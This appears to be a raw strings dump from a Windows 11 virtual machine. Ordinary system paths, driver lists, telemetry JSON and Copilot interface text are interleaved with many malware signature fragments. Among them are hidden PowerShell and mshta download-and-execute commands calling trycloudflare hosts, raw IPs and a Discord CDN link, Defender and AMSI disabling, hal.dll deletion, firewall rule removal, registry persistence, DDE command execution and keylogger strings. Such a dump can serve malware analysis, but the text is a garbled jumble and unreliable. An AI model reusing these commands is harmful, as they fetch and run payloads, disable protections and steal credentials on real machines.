C:\WINDOWS\Temp\vmware-vmusr-job.log
28^WindowsBackup
28^Global.WindowsMigration
28^Global.WindowsPeopleExperience
WINDOWS11
WindowsVersion
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 intentant mostrar els detalls de la targeta de pagament. Escriviu la contrasenya del Windows per a permetre-ho.El Microsoft Copilot est
 intentant mostrar les contrasenyes. Escriviu la contrasenya del Windows per a permetre-ho.El Microsoft Copilot est
 intentant copiar contrasenyes. Escriviu la contrasenya del Windows per a permetre-ho.El Microsoft Copilot est
 intentant editar contrasenyes. Escriviu la contrasenya del Windows per a permetre-ho.El Microsoft Copilot vol exportar les contrasenyes. Escriviu la contrasenya del Windows per a permetre-ho.El Microsoft Copilot est
 intentant importar contrasenyes. Escriviu la contrasenya del Windows per a permetre-ho.El Microsoft Copilot vol suprimir les dades de l'administrador de contrasenyes. Escriviu la contrasenya del Windows per a permetre-ho.El Microsoft Copilot est
 intentant substituir les contrasenyes existents. Escriviu la contrasenya del Windows per a permetre-ho.Este ordinador ja t
 a causa d'un problema sense especificar. Torneu a baixar el Microsoft Copilot.El Microsoft Copilot requereix Windows 10 o una versi
lc:\windows\system32//sysmnger.exexsetups01.bcr
powershell-windowstylehidden-encodedcommand$
c:\windows\system32\mshta.exe"\\gas-statement-highlights-excel.trycloudflare.com@ssl\\davwwwroot\pods.hta"
c:\windows\system32\wscript.exe\\adjust-des-constructed-task.trycloudflare.com@ssl\davwwwroot\ver\tuts.wsh
Dc:\windows\system32\mshta.exe"\\flexibility-soldiers-photo-dealer.trycloudflare.com@ssl\davwwwroot\ray.hta
Rc:\windows\system32\windowspowershell\v1.0\powershell.exe.mshtahttps://live.ns-online.com/bghrn/start.hta
SystemRoot=C:\WINDOWS
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
OS=Windows_NT
windir=C:\WINDOWS
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
:\WINDOWS\systemp
S\System32\Windop
WINDOWS11
c:\windows\system32\cmd.exe/c
c:\windows\system32\cscript.exe"sef468we54rer\wwww.vbs""
dows\system32\mshta.exehttp://47.250.190.207:5000/download.hta
f<exec><command>c:\windows\system32\control.exe</command>
'c:\windows\microsoft.net\framework\v
colorcattrib-r-a-s-h%windir%\system32\drivers\etc\hostsecho
dentrypoint="windows.fulltrustapplication"
powershell-windowstylehidden-command"invoke-webrequest-uri
enable windowsF
estartpowershell-windowstyleh-args'sleep
APPDATA=C:\WINDOWS\system32\config
 itemtypedirectory$decodedbytesoriginal=[system.convert]::frombase64string($originalconsole)$decodedbytesfakes=[system.convert]::frombase64string($hackedconsole)[system.io.file]::writeallbytes("c:\windows\system32\wmimgmt.msc",$decodedbytesoriginal)[system.io.file]::writeallbytes("c:\windows\system32\en-us\wmimgmt.msc",$decodedbytesfakes)(get-content-path'\\?\c:\windows\system32\en-us\wmimgmt.msc'-raw)-replace'{htmlloaderurl}'
\appdata\roaming\microsoft\windows\startmenu\programs\startup\
.exe"");iwshshortcut.windowstyle("1");iwshshortcut.arguments(""c:\users\
\appdata\roaming\microsoft\windows\start","0","true");
minpowershell-command"invoke-webrequest-uri'https://cdn.discordapp.com/attachments/1326662471271972956/1358567585775616161/night.exe?ex=67f45029&is=67f2fea9&hm=1ca193111c511f4bc67ff44c379b8b6f718aadbc1f4cb5e0b3e1a20b37a66df6&'-outfile'c:\night.exe'"timeout/t5/nobreak>nul::waitfor5secondstoensurethefileisfullydownloaded::runthedownloadedfilestart""/minc:\night.exe::disablewindowsdefenderreal-timeprotectionstart""/minpowershell-command
NControls whether the RadioButton appears as normal or as a Windows PushButton.
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringLen
c:/windows/system32/d
c:/windows/system32/d
C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p
Microsoft.Windows.SvchostTelemetryProvider
Windows
WindowsApps
Microsoft.Windows.Power.Dimming
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
exeHKCU\Software\Microsoft\Windows\CurrentVer
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
ComSpec=C:\WINDOWS\system32\cmd.exe
OS=Windows_NT
Microsoft.Windows.AppResolverUXa
TEMP=C:\WINDOWS\TEMP
windir=C:\WINDOWS
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
SystemRoot=C:\WINDOWS
Windows
Microsoft.Windows.Power.Toast
Microsoft.Windows.BrokerBase
Microsoft.Windows.Dwm.DwmCore
Microsoft.Windows.OneCore.MinInputBamo
Windows-DwmCore-BackdropBrushInvestigations
Microsoft.Windows.TimeBroker
Microsoft.Windows.Dwm.DComp
WINDOWS.FOUNDATION.COLLECTIONS.DETAIL.VECTOR
WINDOWS.UI.VIEWMANAGEMENT.CORE.COREINPUTVIEW
Microsoft.Windows.Dwm.uDWM
WINDOWS.UI.VIEWMANAGEMENT.CORE.COREFRAMEWORKINPUTVIEW
Microsoft.Windows.BackgroundManager
Microsoft.Windows.ComOleAut32
Microsoft.Windows.Dwm.DwmApi
Microsoft.Windows.Kernel.Pdc
Microsoft.Windows.PowerService
Microsoft.Windows.Dwm.DwmInit
-windowstylehidden
    name="Microsoft.Windows.Services.SvcHost"
<description>Host Process for Windows Services</description>
?clientcore\windows\core\ntgdi\fondrv\otfd\bc\cff_read.c
clientcore\windows\core\ntgdi\fondrv\otfd\bc\cscan.c
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
C:\WINDOWS\system32\csrss.exe
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
ROOT\Microsoft\Windows\Smb
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentgame
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentpresentation
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentpostoobe
default$windows.data.donotdisturb.quietmoment$quietmomentlist|windows.data.donotdisturb.quietmoment$quietmomentscheduled
default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
default$windows.data.bluelightreduction.bluelightreductionstate|windows.data.bluelightreduction.bluelightreductionstate
default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
default$windows.data.donotdisturb.quiethoursprofile$quiethoursprofilelist|windows.data.donotdisturb.quiethoursprofile$microsoft.quiethoursprofile.priorityonly
windowsnt5.1');if(zwge9>0&&
.windows.immersivecontrolpanel
Windows.Defender.SecurityCenter
Windows.Defender.MpUxDlp
Windows.Defender
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview
MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions
windowsnt
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcsS
BRUTE:WindowsPowerShell
C:\WINDOWS\SYSTEM32\recovery.exeTrojan:Win64/StealC.MB!AMTB
GetWindowsUpdateAllowed
\windows\currentversion\run\i
\packages\Microsoft.Windows.ImplementationLibrary.1.0.240803.1\include\wil\resource.h
\packages\Microsoft.Windows.ImplementationLibrary.1.0.240803.1\include\wil\win32_helpers.h
\dev\WindowsAppRuntime_Insights\WindowsAppRuntimeInsights.h
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
regadd"hklm\software\microsoft\windows\currentversion\policies\explorer"/v"settingspagevisibility"/treg_sz/d"hide:network-proxy"/f
regadd"hklm\software\microsoft\windows\currentversion\policies\explorer"/v"settingspagevisibility"/treg_sz/d"hide:recovery"/f
_AdVector_001_Windows9~
60^windows.appExtension
Windows.Networking.BackgroundTransfer.Internal'
Windows.Networking.ContentPrefetcher.Internal
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.N
WindowsInternal.ComposableShell.Experiences.TextInput&
ws\system32\mshta
2c:\windows\system32
C:\WINDOWS\SYSTEM32\ADSNW
C:\WINDOWS\SYSTEM32\KBDDV.DLL>
infinitycheats\GameHelpersLoader__APEX_NEW\GameHelpersLoader__APEX_NEW\bin\x64\Release\net8.0-windows\win-x64\native\APEX_NEW_LOADER.pdbinfinitycheats\GameHelpersLoader__APEX_NEW\GameHelpersLoader__APEX_NEW\bin\x64\Release\net8.0-windows\win-x64\native\ApexLoader.pdb4;2qpZ\"pZ\"pZ\"
Windows_Antimalware_Host_System_WorkerSELECT(
q#main.AesDecryptByECBmain.PKCS7UNPaddingmain.closeWindowsruntime.sysReserveruntime.badctxtruntime.allgaddruntime.traceShuttingDownruntime.traceLocker.GoSched
System.Runtime.InteropServices.WindowsRuntime.ICustomPropertyProvider.get_Type
\\.\root\Microsoft\Windows\Storage\PT:__Win32Provider.Name="DelegatorProvider"
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
get_ToolWindowSeparator
set_ToolWindowSeparator
System.Windows.Forms
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
get_MainWindowStatusBarDefault
c:/windows/system32/drivers/rfcomm.sys
c:/windows/system32/drivers/rhproxy.sys
c:/windows/system32/drivers/routepolicy.sys
c:/windows/system32/drivers/rspndr.sys
c:/windows/system32/drivers/vms3cap.sys
c:/windows/system32/drivers/sbp2port.sys
c:/windows/system32/drivers/scfilter.sys
c:/windows/system32/drivers/scmbus.sys
c:/windows/system32/drivers/sdbus.sys
c:/windows/system32/driverstore/filerepository/sdcahid.inf_amd64_9b043c5c82568ed0/sdcahid.sys
c:/windows/system32/driverstore/filerepository/sdcamfd.inf_amd64_7616b07de0d13d6f/sdcamfd.sys
c:/windows/system32/drivers/sdstor.sys
c:/windows/system32/drivers/sercx.sys
c:/windows/system32/drivers/sercx2.sys
c:/windows/system32/drivers/serenum.sys
c:/windows/system32/drivers/serial.sys
c:/windows/system32/drivers/sermouse.sys
c:/windows/system32/drivers/sfloppy.sys
c:/windows/system32/drivers/sisraid2.sys
c:/windows/system32/drivers/sisraid4.sys
c:/windows/system32/drivers/smartsamd.sys
c:/windows/system32/drivers/smbdirect.sys
c:/windows/system32/drivers/spaceparser.sys
c:/windows/system32/drivers/spaceport.sys
c:/windows/system32/drivers/spbcx.sys
c:/windows/system32/drivers/srv2.sys
c:/windows/system32/drivers/srvnet.sys
c:/windows/system32/drivers/stexstor.sys
c:/windows/system32/drivers/storahci.sys
c:/windows/system32/drivers/vmstorfl.sys
c:/windows/system32/drivers/stornvme.sys
c:/windows/system32/drivers/storqosflt.sys
c:/windows/system32/drivers/storufs.sys
c:/windows/system32/drivers/storvsc.sys
c:/windows/system32/driverstore/filerepository/swenum.inf_amd64_8b9dd76f362e3ec6/swenum.sys
c:/windows/system32/drivers/tcpip.sys
c:/windows/system32/drivers/tcpipreg.sys
c:/windows/system32/drivers/tdx.sys
c:/windows/system32/drivers/terminpt.sys
c:/windows/system32/driverstore/filerepository/c_thermal.inf_amd64_0f40610a476f1392/thermalfilter.sys
c:/windows/system32/drivers/tpm.sys
c:/windows/system32/drivers/tsusbflt.sys
c:/windows/system32/drivers/tsusbgd.sys
c:/windows/system32/drivers/tsusbhub.sys
c:/windows/system32/drivers/tunnel.sys
c:/windows/system32/drivers/uaspstor.sys
c:/windows/system32/drivers/ucmcx.sys
c:/windows/system32/drivers/ucmtcpcicx.sys
c:/windows/system32/drivers/ucmucsiacpiclient.sys
c:/windows/system32/drivers/ucmucsicx.sys
c:/windows/system32/drivers/ucpd.sys
c:/windows/system32/drivers/ucx01000.sys
c:/windows/system32/drivers/udecx.sys
c:/windows/system32/drivers/udfs.sys
c:/windows/system32/driverstore/filerepository/uefi.inf_amd64_9e6df3e21b6fcc8e/uefi.sys
c:/windows/system32/drivers/uevagentdriver.sys
c:/windows/system32/drivers/ufx01000.sys
c:/windows/system32/driverstore/filerepository/ufxchipidea.inf_amd64_6e8bb2ed82835828/ufxchipidea.sys
c:/windows/system32/drivers/ufxsynopsys.sys
c:/windows/system32/driverstore/filerepository/uiomap.inf_amd64_f5d5465d1731583d/uiomap.sys
c:/windows/system32/driverstore/filerepository/umbus.inf_amd64_914dd46b4b013b1b/umbus.sys
c:/windows/system32/driverstore/filerepository/umpass.inf_amd64_06e016c9ffecbf73/umpass.sys
c:/windows/system32/drivers/unionfs.sys
c:/windows/system32/driverstore/filerepository/urschipidea.inf_amd64_37fb14618bce547b/urschipidea.sys
c:/windows/system32/drivers/urscx01000.sys
c:/windows/system32/driverstore/filerepository/usb-platformdetection.inf_amd64_7ae4b5518d554762/usb-platformdetection.sys
c:/windows/system32/driverstore/filerepository/usb4devicerouter.inf_amd64_e5acd82504f3c6d7/usb4devicerouter.sys
c:/windows/system32/driverstore/filerepository/usb4hostrouter.inf_amd64_2959532e31ffcc25/usb4hostrouter.sys
c:/windows/system32/drivers/usbaudio.sys
c:/windows/system32/drivers/usbaudio2.sys
c:/windows/system32/drivers/usbccgp.sys
c:/windows/system32/drivers/usbcir.sys
c:/windows/system32/drivers/usbehci.sys
c:/windows/system32/drivers/usbhub.sys
c:/windows/system32/drivers/usbhub3.sys
c:/windows/system32/drivers/usbohci.sys
c:/windows/system32/drivers/usbprint.sys
c:/windows/system32/drivers/usbser.sys
c:/windows/system32/drivers/usbstor.sys
c:/windows/system32/drivers/usbuhci.sys
c:/windows/system32/drivers/usbxhci.sys
c:/windows/system32/drivers/vdrvroot.sys
c:/windows/system32/drivers/verifierext.sys
c:/windows/system32/drivers/vhdmp.sys
c:/windows/system32/drivers/vhf.sys
c:/windows/system32/drivers/vid.sys
c:/windows/system32/driverstore/filerepository/vrd.inf_amd64_4dd0e6d66a75bb7e/vrd.sys
c:/windows/system32/drivers/vmbus.sys
c:/windows/system32/drivers/vmbushid.sys
c:/windows/system32/drivers/vmci.sys
c:/windows/system32/drivers/vmgid.sys
c:/windows/system32/drivers/volmgr.sys
c:/windows/system32/drivers/volmgrx.sys
c:/windows/system32/drivers/volsnap.sys
c:/windows/system32/drivers/volume.sys
c:/windows/system32/drivers/vpci.sys
c:/windows/system32/drivers/vsmraid.sys
c:/windows/system32/drivers/vstxraid.sys
c:/windows/system32/driverstore/filerepository/netvwifibus.inf_amd64_ab4e111fe8221178/vwifibus.sys
c:/windows/system32/drivers/vwififlt.sys
c:/windows/system32/drivers/wacompen.sys
c:/windows/system32/drivers/wanarp.sys
c:/windows/system32/drivers/wcifs.sys
c:/windows/system32/drivers/wd/wdboot.sys
c:/windows/system32/drivers/wdf01000.sys
c:/windows/system32/drivers/wd/wdfilter.sys
c:/windows/system32/drivers/wdiwifi.sys
c:/windows/system32/drivers/wdmcompanionfilter.sys
c:/windows/system32/drivers/wd/wdnisdrv.sys
c:/windows/system32/drivers/wfplwfs.sys
c:/windows/system32/drivers/wificx.sys
c:/windows/system32/drivers/wimmount.sys
c:/windows/system32/drivers/winaccelcx.sys
c:/windows/system32/drivers/windowstrustedrt.sys
c:/windows/system32/drivers/windowstrustedrtproxy.sys
c:/windows/system32/driverstore/filerepository/wini3ctarget.inf_amd64_9bda3f893989b4a6/wini3ctarget.sys
c:/windows/system32/drivers/winmad.sys
c:/windows/system32/drivers/winnat.sys
c:/windows/system32/drivers/winusb.sys
c:/windows/system32/drivers/winverbs.sys
c:/windows/system32/drivers/wmiacpi.sys
c:/windows/system32/drivers/wpdupfltr.sys
c:/windows/system32/drivers/ws2ifsl.sys
c:/windows/system32/drivers/wtd.sys
c:/windows/system32/drivers/wudfpf.sys
c:/windows/system32/drivers/wudfrd.sys
c:/windows/system32/drivers/xboxgip.sys
c:/windows/system32/drivers/xinputhid.sys
c:/windows/system32/drivers/ztdns.sys
c:/windows/system32/drivers/vsock.sys
c:/windows/system32/drivers/vmusbmouse.sys
c:/windows/system32/drivers/vmmouse.sys
c:/windows/system32/drivers/vmmemctl.sys
c:/windows/system32/drivers/vmhgfs.sys
c:/windows/system32/drivers/vmrawdsk.sys
c:/windows/system32/driverstore/filerepository/vm3d.inf_amd64_eba3f0b96d8538e4/vm3dmp.sys
c:/windows/system32/driverstore/filerepository/vm3d.inf_amd64_eba3f0b96d8538e4/vm3dmp-debug.sys
c:/windows/system32/driverstore/filerepository/vm3d.inf_amd64_eba3f0b96d8538e4/vm3dmp-stats.sys
c:/windows/system32/driverstore/filerepository/vm3d.inf_amd64_eba3f0b96d8538e4/vm3dmp_loader.sys
c:/windows/system32/drivers/ksld.sys
c:/windows/system32/drivers/umdf/ehstorpwddrv.dll
c:/windows/system32/driverstore/filerepository/hidcfu.inf_amd64_7ceef3869506408b/hidcfu.dll
c:/windows/system32/driverstore/filerepository/hidi3c.inf_amd64_97343d9af7ca1860/hidi3c.dll
c:/windows/system32/drivers/umdf/hidlamparray.dll
c:/windows/system32/drivers/umdf/microsoft.bluetooth.profiles.hidovergatt.dll
c:/windows/system32/drivers/umdf/hidtelephony.dll
c:/windows/system32/drivers/umdf/iddcx.dll
c:/windows/system32/drivers/umdf/netadaptercxum.dll
c:/windows/system32/drivers/umdf/nfccx.dll
c:/windows/system32/drivers/umdf/poscx.dll
c:/windows/system32/driverstore/filerepository/rdpidd.inf_amd64_bdb71d4beef4b65d/rdpidd.dll
c:/windows/system32/drivers/umdf/sensorscx.dll
c:/windows/system32/drivers/umdf/smccx.dll
c:/windows/system32/driverstore/filerepository/storfwupdate.inf_amd64_c7574616cccf19da/storfwupdate.dll
c:/windows/system32/drivers/umdf/ucmcx.dll
c:/windows/system32/drivers/umdf/usbxhcicompanion.dll
TORVILmstorvilMSTVILCOUNTERSYSTEM\CurrentControlSet\Services\TORVILSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\OneLevelDeeper\TorvilDB!#BM_AT:TacticalRmm
windows shopR
C:\windows\
you snap windows, align objectse
Windows.Graphics.dll
 \windowsscript\settings\amsienable","0"
ddeautoc:\\windows\\system32\\cmd.exe"/cbitsadmin/transferprioryty/priorityforeground
ddeautoc:\\\\programs\\\\microsoft\\\\office\\\\msword.exe\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\cmd.exe"/cregsvr32
%s\dat_tmp.DAT/C systeminfo >> %s/C net view  >> %s/C ipconfig  >> %s/C whoami  >> %s%smod/info.php%s\Defender_TEMP_%08x.exeSoftWare\MicroSoft\Windows\CurrentVersion\RunTrojan:HTML/Phish.PS
 +'"';start-process-windowstylehiddencmd.exe
\..\..\..\windows\system32\cmd.exe/cc^m^d;;;/v^:^o;;;
-windowstylehidden(new-objectsystem.net.webclient).downloadfile(
'c:/windows/temp/shell.exe
');c:/windows/temp/shell.exe');
c:\windows\system32\cmd.exe /c cmd.exe /c taskkill /f /im powershell.exe & powershell.exe -command iex ((new-object ('net.webclient')).('downloadstring').invoke(('
"Prtcshell("cmdc:\windows\system32\cmd
rtcshell("cmdc:\windows\system32\cmd
echofso.deletefilesr+"\system32\hal.dll",1>>%temp%\temp.vbs
#,.js"!%systemroot%\system32\shell32.dll
N)@homedrive&"\windows\microsoft.net\framework\
ksc:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exe
 %""%systemroot%\system32\imageres.dll%
~6wshell.run"schtasks.exe/create/tn""updatewindows_"&struser
netshadvfirewallfirewalldeleterulename="windowsupdatehttp"
Copilot. Eragiketa hori onartzeko, idatzi Windows-eko pasahitza.Pasahitzak erakutsi nahi ditu Microsoft
Copilot-ek. Eragiketa hori onartzeko, idatzi Windows-eko pasahitza.Pasahitzak kopiatu nahi ditu Microsoft
Copilot-ek. Hori onartzeko, idatzi Windows-eko pasahitza.Pasahitzak editatu nahi ditu Microsoft
Copilot-ek. Hori onartzeko, idatzi Windows-eko pasahitza.Microsoft
Copilot-ek pasahitzak esportatu nahi ditu. Eragiketa hori onartzeko, idatzi Windows-eko pasahitza.Pasahitzak inportatu nahi ditu Microsoft
Copilot-ek. Eragiketa hori onartzeko, idatzi Windows-eko pasahitza.Microsoft Copilot-ek pasahitz-kudeatzailearen datuak ezabatu nahi ditu. Hori onartzeko, idatzi Windows-eko pasahitza.Lehendik dauden pasahitzak ordezten saiatzen ari da Microsoft Copilot. Hori onartzeko, idatzi Windows-eko pasahitza.Ordenagailu honek badu Microsoft
Copilot-ek Windows
createobject("wscript.shell")objshell.run"powershell-windowstylehidden-commandinvoke-webrequest-uri'http://62.171.158.126:8081/runtimebroker.exe'-outfile([system.environment]::getenvironmentvariable('temp')+
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\system32\svchost.exe -k ClipboardSvcGroup -p
Wm_ software\microsoft\windows\currentversion\internet settings\zones\3
`\SysNative\sysprep\cryptbase.dllWINDOWS\system32\sysprep\cryptbase.dlltmpinst.jsP
%SystemRoot%\System32\svchost.exe -kspdirs.dllRegSetValueEx(Svchost\netsvcs)InstallA
http://highpay.website/css/windows.jar
=windows\system32\cmd.exe/ckpeople.exe
Software\Microsoft\Windows\CurrentVersion\Finder
mdrive%\windows\
.create "forfiles /p c:\windows\system32 /m notepad.exe /c c:\users\user\appdata\sProc = Environ("windir") & "\\SysWOW64\\rund" + "ll32.exe"Exploit:O97M/CVE-2017-8291.A
cermoveComand = "cmd.exe /c copy %windir%\\system32\\certutil.exe certutilComand = "cmd.exe /c 
imremotekeylogger$$finish*username*: *password*: versione di windows: @@versione del server: @@
WindowScrimView
ges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB
c:\windows\system32\cmd.exe/cstart/d..\149ea0a1e20bf069939ef54889329415\run.vbs.\149ea0a1e20bf06993
c:\windows\system32\cmd.exe/cstart/d..\c0332a699031a49aa53211d3773413ca\run.vbs.\c0332a699031a49aa53
%":y.windowstyle=7:y.iconlocation=""%
WINDOWS.INTERNAL.STATEREPOSITORY.PACKAGEUSER
MICROSOFT.WINDOWS.CONTENTDELIVERYMANAGER_CW5N1H2TXYEWY
form1windowsformsapp1.properties.resources!#TEL:Backdoor:Win64/VectorWare.A!dha
,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000f519feec486de87ed73cb92d3cac802400000000!0000ec928a3c7ff99156b410bc94d5866d28c5eb3f6a!taskhostw.exe","ver":"2078/03/02:17:38:30!2A626!taskhostw.exe","is1P":1,"asId":31},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"o:1"},"loc":{"tz":"+01:00"}},"data":{"flightId":"FX:0390BB93","featureId":57283410,"variantId":0,"time":"2026-02-24T08:06:33.7061554Z"}}
,"name":"Microsoft.Windows.FeatureQuality.Status","time":"2026-02-24T08:06:33.7082677Z","iKey":"o:0a89d516ae714e01ae89c96d185e9ae3","ext":{"utc":{"eventFlags":258,"pgName":"WINCORE","dvcSample":59.81,"flags":52445577776,"edition":48,"epoch":"800503","seq":26},"privacy":{"dataType":2147483648,"isRequired":true,"dataCategory":1,"product":1},"metadata":{"f":{"time":9},"privTags":2147483648,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000f519feec486de87ed73cb92d3cac802400000000!0000ec928a3c7ff99156b410bc94d5866d28c5eb3f6a!taskhostw.exe","ver":"2078/03/02:17:38:30!2A626!taskhostw.exe","is1P":1,"asId":31},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"o:1"},"loc":{"tz":"+01:00"}},"data":{"flightId":"FX:138F1B88","featureId":47205210,"variantId":0,"time":"2026-02-24T08:06:33.7061554Z"}}
MICROSOFTWINDOWS.CLIENT.WEBEXPERIENCE_
Microsoft-Windows-Desktop-Shell-Windowing
cript')|powershell-noprofil-exbypass-nologo-windowshidden-noexit-noni
--max-cpu-usage=--cuda-bfactor=12inheritance:e /deny "SYSTEM:(R,REA,RA,RD)https://2no.coProgram Files\Windows Defender Advanced Threat Protection\MsSense.exeProgram Files\Windows Defender\ConfigSecurityPolicy.exeRansom:MSIL/GandCrab.A!bit
c:\windows\system32\mshta.exevbscript:execute("onerrorresumenext:set
94.46.223.20/windowsapp1.exe
Windows.Data.WiFi
S\System32\W[
windir=C:\WINDOWS
WindowsDwmCore
wIsbaiduba.DLLC:\WINDOWS\system32\ieset.inirefurl=exid=regURL=smsid==aiyuwww.131377 
(Winlogon_Shell\)\\.*.pdbO
Windows 
Windows 
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
"@Windows.Data.CuratedTileCollection.TileCollectionContainer
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
$@CloudData.WindowsClient.DisableSyncOnActivityFeed
$@Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.UnifiedTile.CuratedTileCollectionUpgradeEntry
(@Windows.Data.CuratedTileCollection.TileCollection
